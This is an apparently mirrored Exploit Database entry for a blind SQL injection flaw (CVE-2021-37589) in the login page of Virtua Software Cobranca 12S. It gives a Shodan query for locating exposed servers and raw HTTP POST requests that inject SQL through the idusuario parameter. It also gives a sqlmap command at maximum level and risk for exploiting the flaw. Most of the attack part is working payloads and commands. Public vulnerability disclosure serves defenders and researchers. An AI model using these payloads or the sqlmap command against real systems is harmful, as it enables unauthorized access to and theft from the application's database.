Virtua Software Cobranca 12S – SQLi

• Exploit Database
• 120 阅读

• 作者： Luca Regne
  日期： 2022-06-14
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/50958/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55

  # Exploit Title: Virtua Software Cobranca 12S - SQLi # Shodan Query: http.favicon.hash:876876147 # Date: 13/08/2021 # Exploit Author: Luca Regne # Vendor Homepage: https://www.virtuasoftware.com.br/ # Software Link: https://www.virtuasoftware.com.br/downloads/Cobranca12S_13_08.exe # Version: 12S # Tested on: Windows Server 2019 # CVE : CVE-2021-37589 ------------------------------------------------------------------------     ## Description A Blind SQL injection vulnerability in a Login Page (/controller/login.php) in Virtua Cobranca 12S version allows remote unauthenticated attackers to get information about application executing arbitrary SQL commands by idusuario parameter.   ## Request PoC </code><code> POST /controller/login.php?acao=autenticar HTTP/1.1 Host: redacted.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 37 Connection: close Cookie: origem_selecionado=; PHPSESSID=   idusuario=&apos;&idsenha=awesome_and_unprobaly_password&tipousr=Usuario   </code><code> This request causes an error 500. Changing the idusuario to "&apos;+AND+&apos;1&apos;%3d&apos;1&apos;--" the response to request was 200 status code with message of authentication error. </code><code> POST /controller/login.php?acao=autenticar HTTP/1.1 Host: redacted.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 37 Connection: close Cookie: origem_selecionado=; PHPSESSID=   idusuario=&apos;+AND+&apos;1&apos;=&apos;1&apos;--&idsenha=a&tipousr=Usuario   </code><code> ## Exploit Save the request from burp to file </code><code>bash python3 sqlmap.py -r ~/req-virtua.txt -p idusuario --dbms firebird --level 5 --risk 3 --random-agent </code><code>